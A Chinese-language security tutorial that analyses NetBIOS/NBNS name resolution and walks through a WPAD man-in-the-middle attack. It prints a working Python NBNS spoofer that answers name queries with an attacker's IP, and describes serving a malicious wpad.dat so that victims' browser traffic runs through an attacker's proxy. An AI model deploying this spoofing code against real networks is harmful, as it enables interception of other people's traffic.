利用 NBNS 协议缺陷进行 WPAD 中间人攻击

本文阐述了 NetBIOS 框架下的相关协议的区别, 重点对 NBNS 协议进行了分析,同时提出了针对 NBNS 协议缺陷进行 WPAD 中间人攻击的思路。

0x00 NetBIOS 相关协议

NetBIOS(Network Basic Input/Output System,网络基本输入输出系统),一般指用于局域网通信的一套 API(严格的说 NetBIOS 并不是一个网络协议),提供了一种允许局域网内不同电脑能够建立和使用连接服务的功能。

NetBEUI(NetBIOS Enhanced User Interface,NetBIOS 增强用户接口),可以看作是 NetBIOS 协议的 扩展 版本,主要用于小型局域网中的主机通信,目前基本已经淘汰。

注:NetBIOS 和 NetBEUI,都是基于以太网广播的,也就是只能识别 MAC 地址,没有更高层的协议头部(如 IP、TCP/UDP),所以是无法通过路由器的。

NBT(NetBIOS over TCP/IP,简称 NBT 或者 NetBT),是一个网络协议,允许以前使用 NetBIOS API 的应用程序能够在 TCP/IP 协议栈中使用。如今,NBT 已经逐渐地 代替 NetBIOS 成为主流协议,因为它不仅适用于以太网,更适用于现代的 TCP/IP 网络。

Wireshark 中是这样解释的:NetBIOS over TCP/IP (also called NBT) seems to slowly supersede all the other NetBIOS variants.

译:NetBIOS over TCP/IP 也叫做 NBT,已经逐渐淘汰并取代其他的 NetBIOS 变形协议或扩展协议。

NetBIOS 和 NBT 的具体关系如图所示:

NetBIOS over TCP/IP 协议栈

如上图所示,NBT 是一个框架,提供了三种不同的服务,即 NBNS、NBDS、NBSS 三个协议。

注:在使用 Wireshark 等抓包工具来捕获数据包时,是抓不到 NBT 协议的数据包的,只能抓到 NBNS、NBDS、NBSS 这三种协议的数据包。

协议的具体描述如下:

  • NBNS(NetBIOS Name Service,NetBIOS 名称服务器),类似于 DNS 服务,使用 UDP/137 或 TCP/137 端口,在基于 NetBIOS 名称访问的网络上提供名称注册和名称解析服务,通常也被称为 NBT-NS。关闭 137 端口,则无法使用 WINS 服务。

    Microsoft 的 NBNS 实现称为 WINS(Windows Internet Name Service,Windows 网络名称服务)

  • NBDS(NetBIOS Datagram Service,NetBIOS 数据报服务器),使用 UDP/138 端口,主要用于提供 NetBIOS 环境下的计算机名浏览功能,很少使用。

    如果非法入侵者可以与目标主机的 138 端口建立连接请求,就能轻易获得目标主机所处的局域网网络名称以及目标主机的计算机名称。

  • NBSS(NetBIOS Session Service,NetBIOS 会话服务器),使用 TCP/139 端口建立可靠的、基于连接的通信,主要用于 Windows 文件和打印机共享Linux Samba 服务。关闭 139 端口,则无法在 PC 间共享文件和打印机。

SMB(Server Message Block,服务器信息块),是一个应用层的协议,主要用于提供网络中文件共享、文件打印和进程间通信等功能,如今 SMB 主要使用于 Windows 系统中。

SMB 协议有两种运行方式,第一种通过 NetBIOS API,使用的是 UDP/137 和 UDP/138 端口以及 TCP/137 和 TCP/139 端口,如下图所示:

使用 NetBIOS 实现的 SMB

第二种是直接运行在 TCP 和 UDP 协议之上,使用的是 445 端口,也被称为*”Direct hosting of SMB over TCP/IP”*。

默认 Windows 系统都支持 SMB 协议,Linux 系统没有相关组件,需要使用 Samba 服务实现 SMB 协议。

0x01 NBNS 协议分析

NetBIOS 协议的概念定义在 RFC 1001 中、实现细节定义在 RFC 1002 中,文档里详细的介绍了有关于 NetBIOS、NBNS 协议的结构,配置以及安全性等内容。

NBNS 的协议结构如下图所示:

NBNS 协议结构

NBNS 的协议结构与 LLMNR 基本一致,可以参考 利用 LLMNR 名称解析缺陷劫持内网指定主机会话 中对 LLMNR 协议的解析。不同之处在于 NBNS 协议中的主机名称是经过 编码 的,而 LLMNR 中是以明文传递,在 Python 的 dpkt 库中有实现其编码和解码的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def encode_name(name):
"""Return the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
c = ord(c)
l.append(chr((c >> 4) + 0x41))
l.append(chr((c & 0xf) + 0x41))
return ''.join(l)

def decode_name(nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('\x00', 1)[0]

使用 Wireshark 可以快速抓取到 NBNS 协议的数据包,如下图:

经过编码后的主机名称

0x02 NBNS 名称解析过程

NBNS 名称解析的具体过程可以查看 Windows 名称解析机制探究及缺陷利用,一种常见的名称解析过程及利用如下图所示:

NetBIOS 名称解析过程

0x03 Python 实现 NetBIOS 协议的质询与应答

NBNS 协议的质询过程实际上就是进行了一个广播,质询的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#/usr/bin/env python
# -*- coding:utf-8 -*-

import socket, struct

class NBNS_Query:
def __init__(self,name):
self.name = name
self.populate()
def populate(self):
self.HOST = '192.168.16.255'
self.PORT = 137
self.nqs = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

self.QueryData = (
"\xa9\xfb" # Transaction ID
"\x01\x10" # Flags Query
"\x00\x01" # Question:1
"\x00\x00" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"\x20" # length of Name:32
"NAME" # Name
"\x00" # NameNull
"\x00\x20" # Query Type:NB
"\x00\x01") # Class

self.data = self.QueryData.replace('NAME', struct.pack("32s", self.encode_name(self.name)))

# From http://code.google.com/p/dpkt/
def encode_name(self,name):
"""Return the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
c = ord(c)
l.append(chr((c >> 4) + 0x41))
l.append(chr((c & 0xf) + 0x41))
return ''.join(l)

def Query(self):
while 1:
print "NBNS Querying... -> %s" % self.name
self.nqs.sendto(self.data, (self.HOST, self.PORT))
self.nqs.close()

if __name__ == "__main__":
nbns = NBNS_Query("WPAD")
nbns.Query()

NBNS 应答数据包的具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#/usr/bin/env python
# -*- coding:utf-8 -*-

import socket, struct,binascii

class NBNS_Answer:
def __init__(self, addr):

self.IPADDR = addr
self.nas = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.init_socket()
self.populate()
def populate(self):

self.AnswerData = (
"TID" # Transaction ID
"\x85\x00" # Flags Query
"\x00\x00" # Question
"\x00\x01" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"\x20" # length of Name:32
"NAME" # Name
"\x00" # NameNull
"\x00\x20" # Query Type:NB
"\x00\x01" # Class
"\x00\x00\x00\xa5" # TTL
"\x00\x06" #
"\x00\x00" # Null
"IPADDR") # IP Address

def init_socket(self):
self.HOST = "0.0.0.0"
self.PORT = 137
self.nas.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.nas.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)

def decode_name(self, nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('\x00', 1)[0]

def Answser(self):
self.nas.bind((self.HOST, self.PORT))
print "Listening..."
while 1:
data, addr = self.nas.recvfrom(1024)
tid = data[0:2]
name = data[13:45]
data = self.AnswerData.replace('TID', tid)
data = data.replace('NAME', name)
data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], self.decode_name(name))
self.nas.sendto(data, addr)
self.nas.close()

if __name__ == "__main__":
nbns = NBNS_Answer("11.22.33.44")
nbns.Answser()

0x04 利用 NBNS 名称解析进行基于 WPAD 的中间人攻击思路解析

利用 NBNS 名称解析进行基于 WPAD 的中间人攻击本质上还是利用了 Windows 系统的名称解析顺序和 NBNS 协议的缺陷。结合 WPAD 协议分析及内网渗透利用 所述,在工作组环境中,客户端主机执行 WPAD 功能时,会遵循 Windows 系统的名称解析顺序,查询的名称均为 WPAD。那么,我们先广播进行“WPAD”名称的注册,然后监听 137 端口(如图5),等待局域网其他已启用 WPAD 功能的主机使用 IE 浏览器连接网络时,即可将受害者主机的浏览器代理设置为攻击者指定的代理服务器,之后就可以获得受害者的浏览器的上网记录。

我们模拟出一个简单的攻击场景,如下图所示:

利用 NBNS 名称解析进行基于 WPAD 的中间人攻击

攻击者开启 NetBIOS 恶意应答程序,并监听 80 端口提供恶意 PAC 配置文件(wpad.dat)的下载,同时开启代理服务器(这里使用的是 Burp Suite HTTP 代理服务器);

受害者主机(Windows XP) 打开利用 NBNS 名称解析进行基于 WPAD 的中间人攻击 IE 浏览器(已启用 WPAD 功能)开始上网,此时浏览器就会寻找当前局域网中的代理服务器,实际上是进行了 WPAD 的名称查询,可以从图中看到攻击者的恶意应答程序做了恶意响应,同时提供 PAC 配置文件下载的 HTTP 服务器打印出了日志信息,表明此时受害者的浏览器已经下载了恶意 PAC 配置文件(该文件内容为代理服务器地址信息);

之后,从 Burp Suite 中可以看到,受害者的浏览器使用了攻击者指定的代理服务器进行上网。

0x05 总结

利用 NetBIOS 域名解析协议进行中间人攻击的方式还有很多,关于 NetBIOS 协议的内容可以在相关的 RFC 文档中查阅,其中还有不少东西可以在内网渗透中利用到,如 OPCODE 字段的取值、BROWSER 协议等等,不论是攻击还是防御都需要进一步的研究。

参考文章:
https://xz.aliyun.com/t/1739
https://blog.sina.com.cn/s/blog_614f473101017e10.html
https://www.cnblogs.com/wangaohui/p/5116519.html